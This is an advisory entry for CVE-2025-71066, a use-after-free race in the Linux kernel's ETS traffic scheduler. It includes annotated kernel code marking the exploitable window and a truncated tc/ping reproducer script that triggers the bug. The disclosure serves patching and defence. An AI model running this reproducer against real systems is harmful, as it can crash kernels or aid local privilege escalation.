# CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets\_qdisc\_change

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH 7.8
- **CVSS:** 7.8 (v3.1, CNA) `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
- **CVSS metrics:** Attack vector: Local; Attack complexity: Low; Privileges required: Low; User interaction: None; Scope: Unchanged; Confidentiality impact: High; Integrity impact: High; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Not remotely exploitable (local or adjacent access needed)
- **EPSS:** 0.16% (percentile 3, 2026-11-26)
- **CWE:** CWE-362
- **Published:** 2026-01-13T15:31:21.931Z
- **Modified:** 2026-08-05T12:11:49.113Z

## Who should check

- Anyone running Linux \>= ae2659d2c670252759ee9c823c4e039c0e05a6f2, \< 062d5d544e564473450d72e6af83077c2b2ff7c3; \>= e25bdbc7e951ae5728fee1f4c09485df113d013c, \< c7f6e7cc14df72b997258216e99d897d2df0dbbd; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< a75d617a4ef08682f5cfaadc01d5141c87e019c9; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 9987cda315c08f63a02423fa2f9a1f6602c861a0; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 06bfb66a7c8b45e3fed01351a4b087410ae5ef39; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< ce052b9402e461a9aded599f5b47e76bc727f7de; \>= 5.10.83, \< 5.10.248; \>= 5.15.6, \< 5.15.198
- Anyone running Linux 5.16

## Description

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets\_qdisc\_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between \`ets\_qdisc\_dequeue\` and
\`ets\_qdisc\_change\`.  It leads to UAF on \`struct Qdisc\` object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.

Analysis:

static int ets\_qdisc\_change(struct Qdisc \*sch, struct nlattr \*opt,
                          struct netlink\_ext\_ack \*extack)
{
...

      // (1) this lock is preventing .change handler (\`ets\_qdisc\_change\`)
      //to race with .dequeue handler (\`ets\_qdisc\_dequeue\`)
      sch\_tree\_lock(sch);

      for (i = nbands; i \< oldbands; i++) {
              if (i \>= q-\>nstrict && q-\>classes\[i\].qdisc-\>q.qlen)
                      list\_del\_init(&q-\>classes\[i\].alist);
              qdisc\_purge\_queue(q-\>classes\[i\].qdisc);
      }

      WRITE\_ONCE(q-\>nbands, nbands);
      for (i = nstrict; i \< q-\>nstrict; i++) {
              if (q-\>classes\[i\].qdisc-\>q.qlen) {
		      // (2) the class is added to the q-\>active
                      list\_add\_tail(&q-\>classes\[i\].alist, &q-\>active);
                      q-\>classes\[i\].deficit = quanta\[i\];
              }
      }
      WRITE\_ONCE(q-\>nstrict, nstrict);
      memcpy(q-\>prio2band, priomap, sizeof(priomap));

      for (i = 0; i \< q-\>nbands; i++)
              WRITE\_ONCE(q-\>classes\[i\].quantum, quanta\[i\]);

      for (i = oldbands; i \< q-\>nbands; i++) {
              q-\>classes\[i\].qdisc = queues\[i\];
              if (q-\>classes\[i\].qdisc != &noop\_qdisc)
                      qdisc\_hash\_add(q-\>classes\[i\].qdisc, true);
      }

      // (3) the qdisc is unlocked, now dequeue can be called in parallel
      // to the rest of .change handler
      sch\_tree\_unlock(sch);

      ets\_offload\_change(sch);
      for (i = q-\>nbands; i \< oldbands; i++) {
	      // (4) we're reducing the refcount for our class's qdisc and
	      //  freeing it
              qdisc\_put(q-\>classes\[i\].qdisc);
	      // (5) If we call .dequeue between (4) and (5), we will have
	      // a strong UAF and we can control RIP
              q-\>classes\[i\].qdisc = NULL;
              WRITE\_ONCE(q-\>classes\[i\].quantum, 0);
              q-\>classes\[i\].deficit = 0;
              gnet\_stats\_basic\_sync\_init(&q-\>classes\[i\].bstats);
              memset(&q-\>classes\[i\].qstats, 0, sizeof(q-\>classes\[i\].qstats));
      }
      return 0;
}

Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc

Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)

\`\`\`
DEV="${DEV:-lo}"
ROOT\_HANDLE="${ROOT\_HANDLE:-1:}"
BAND2\_HANDLE="${BAND2\_HANDLE:-20:}"   \# child under 1:2
PING\_BYTES="${PING\_BYTES:-48}"
PING\_COUNT="${PING\_COUNT:-200000}"
PING\_DST="${PING\_DST:-127.0.0.1}"

SLOW\_TBF\_RATE="${SLOW\_TBF\_RATE:-8bit}"
SLOW\_TBF\_BURST="${SLOW\_TBF\_BURST:-100b}"
SLOW\_TBF\_LAT="${SLOW\_TBF\_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2\>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2\>/dev/null \|\| true

tc qdisc add dev "$DEV" root handle "$ROOT\_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2\_HANDLE" \\
  tbf rate "$SLOW\_TBF\_RATE" burst "$SLOW\_TBF\_BURST" latency "$SLOW\_TBF\_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING\_COUNT" -s "$PING\_BYTES" -W 0.001 "$PING\_DST" \\
  \>/dev/null 2\>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT\_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT\_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

## Affected and fixed versions

- Linux: \>= ae2659d2c670252759ee9c823c4e039c0e05a6f2, \< 062d5d544e564473450d72e6af83077c2b2ff7c3; \>= e25bdbc7e951ae5728fee1f4c09485df113d013c, \< c7f6e7cc14df72b997258216e99d897d2df0dbbd; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< a75d617a4ef08682f5cfaadc01d5141c87e019c9; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 9987cda315c08f63a02423fa2f9a1f6602c861a0; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 06bfb66a7c8b45e3fed01351a4b087410ae5ef39; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< ce052b9402e461a9aded599f5b47e76bc727f7de; \>= 5.10.83, \< 5.10.248; \>= 5.15.6, \< 5.15.198 (cvelist)
- Linux: 5.16 (cvelist)

## Mitigation

- Upgrade Linux to 5.15.198 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2025-71066. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2025-71066.md
Affected: Linux >= ae2659d2c670252759ee9c823c4e039c0e05a6f2, < 062d5d544e564473450d72e6af83077c2b2ff7c3; >= e25bdbc7e951ae5728fee1f4c09485df113d013c, < c7f6e7cc14df72b997258216e99d897d2df0dbbd; >= de6d25924c2a8c2988c6a385990cafbe742061bf, < a75d617a4ef08682f5cfaadc01d5141c87e019c9; >= de6d25924c2a8c2988c6a38…
Fixed in: Linux 062d5d544e564473450d72e6af83077c2b2ff7c3, Linux 9987cda315c08f63a02423fa2f9a1f6602c861a0, Linux 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, Linux 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, Linux 5.10.248, Linux 5.15.198

Steps:
1. Search this machine and project for Linux: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2025-71066 being exploited?

There is no confirmed exploitation: CVE-2025-71066 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.16% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2025-71066?

High: CVSS 7.8 (v3.1, scored by CNA). Not remotely exploitable (local or adjacent access needed).

### Which versions are affected by CVE-2025-71066?

Linux \>= ae2659d2c670252759ee9c823c4e039c0e05a6f2, \< 062d5d544e564473450d72e6af83077c2b2ff7c3; \>= e25bdbc7e951ae5728fee1f4c09485df113d013c, \< c7f6e7cc14df72b997258216e99d897d2df0dbbd; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< a75d617a4ef08682f5cfaadc01d5141c87e019c9; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 9987cda315c08f63a02423fa2f9a1f6602c861a0; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 06bfb66a7c8b45e3fed01351a4b087410ae5ef39; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c; \>= de6d25924c2a8c2988c6a385990cafbe742061bf, \< ce052b9402e461a9aded599f5b47e76bc727f7de; \>= 5.10.83, \< 5.10.248; \>= 5.15.6, \< 5.15.198; Linux 5.16.

### Is there a fix for CVE-2025-71066?

Yes. Fixed in Linux 062d5d544e564473450d72e6af83077c2b2ff7c3, Linux 9987cda315c08f63a02423fa2f9a1f6602c861a0, Linux 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, Linux 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, Linux 5.10.248, Linux 5.15.198. Upgrade Linux to 5.15.198 or later.

### How do I check if I'm affected by CVE-2025-71066?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- other: <https://git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3>
- other: <https://git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd>
- other: <https://git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9>
- other: <https://git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0>
- other: <https://git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39>
- other: <https://git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c>
- other: <https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2025-71066>

HTML: <https://flawdb.com/CVE-2025-71066> · JSON: <https://flawdb.com/api/v1/entries/CVE-2025-71066>
